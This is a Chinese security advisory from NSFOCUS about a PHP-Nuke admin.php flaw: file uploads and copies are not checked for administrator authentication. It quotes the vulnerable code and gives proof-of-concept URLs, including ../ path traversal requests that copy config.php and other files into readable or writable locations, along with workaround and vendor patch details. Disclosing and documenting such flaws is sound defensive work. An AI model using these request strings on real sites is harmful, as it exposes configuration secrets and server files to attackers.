首页 -> 安全研究

安全研究

安全漏洞
PHP-Nuke文件泄漏和上传漏洞

发布日期:2002-09-24
更新日期:2002-09-26

受影响系统:
Francisco Burzi PHP-Nuke 5.2a
Francisco Burzi PHP-Nuke 5.2
Francisco Burzi PHP-Nuke 5.1
Francisco Burzi PHP-Nuke 5.0.1
Francisco Burzi PHP-Nuke 5.0
Francisco Burzi PHP-Nuke 4.4.1a
Francisco Burzi PHP-Nuke 4.4
Francisco Burzi PHP-Nuke 4.3
Francisco Burzi PHP-Nuke 4.0
Francisco Burzi PHP-Nuke 3.0
Francisco Burzi PHP-Nuke 2.5
Francisco Burzi PHP-Nuke 1.0
    - Linux系统
描述:
BUGTRAQ  ID: 3361

PHP-Nuke是一个网站创建和管理工具,它可以使用很多数据库软件作为后端,比如MySQL、PostgreSQL、mSQL、Interbase、Sybase等。

PHP-Nuke的某些版本中存在一个安全问题,可能导致远程攻击者获取系统上的敏感信息或者上载程序。问题处在admin.php在处理文件拷贝和上传时没有检查用户是否已经通过了管理员身份认证。

有问题的代码在:

$basedir = dirname($SCRIPT_FILENAME);
$textrows = 20;
$textcols = 85;
$udir = dirname($PHP_SELF);
if(!$wdir) $wdir="/";
if($cancel) $op="FileManager";
if($upload) {
    copy($userfile,$basedir.$wdir.$userfile_name);
    $lastaction = ""._UPLOADED." $userfile_name --> $wdir";
    // This need a rewrite -------------------------------------> OMG! WEAGREEEEEEEE lmao
    //include("header.php");
    //GraphicAdmin($hlpfile);
    //html_header();
    //displaydir();
    $wdir2="/";
    chdir($basedir . $wdir2);
    //CloseTable();
    //include("footer.php");
    Header("Location: admin.php?op=FileManager");
    exit;
}

远程攻击者可以获取CGI有权读取得任意文件的内容,可以拷贝任意目录下的文件到任意可写目录。

<*来源:supergate (supergate@twlc.net
  
  链接:http://archives.neohapsis.com/archives/bugtraq/2001-09/0203.html
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

supergate (supergate@twlc.net) 提供了如下测试方法:

http://www.server.net/admin.php?upload=1&file=config.php&file_name=hacked.txt&wdir=/images/&userfile=config.php&userfile_name=hacked.txt

这将config.php文件拷贝到/images/hacked.txt,使用
http://www.server.net/images/hacked.txt 即可看到该文件内容。

Paul Starzetz (paul@starzetz.de)发现通过在目录中指定"../",甚至可以拷贝任意目录下的文件到任意可写目录:

http://somehost/nukepath/admin.php?upload=1&file=config.php&file_name=hacked.txt&wdir=/../../../../../../../tmp/&userfile=config.php&userfile_name=hacked.txt

http://somehost/nukepath/admin.php?upload=1&wdir=/../../../../../../../tmp&userfile=/../../../../../../../tmp/copyme.txt&userfile_name=/../../../../../../../tmp/hacked.txt

root@somehost:/tmp > ls -la
total 20
drwxrwxrwt 8 root root 2048 Sep 25 13:37 .
drwxr-xr-x 19 root root 2048 Feb 28 2001 ..
drwxrwxrwt 2 root root 2048 Mar 6 2001 .X11-unix
-rw-r--r-- 1 root root 851 Sep 25 13:37 copyme.txt
-rwxr-xr-x 1 wwwrun wwwrun 851 Sep 25 13:37 hacked.txt

建议:
临时解决方法:

如果您不能立刻安装补丁或者升级,NSFOCUS建议您采取以下措施以降低威胁:

* Magnus Skjegstad <magnus@skjegstad.com>提供如下的临时补丁:

修改admin.php的

"if($upload) {"



"if (($upload) && ($admintest)) {"

* 暂时使用Web服务器的访问控制,限制admin.php所在目录的访问。

厂商补丁:

Francisco Burzi
---------------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

http://www.nukeaddon.com/download.php?op=getit&lid=27

浏览次数:4341
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障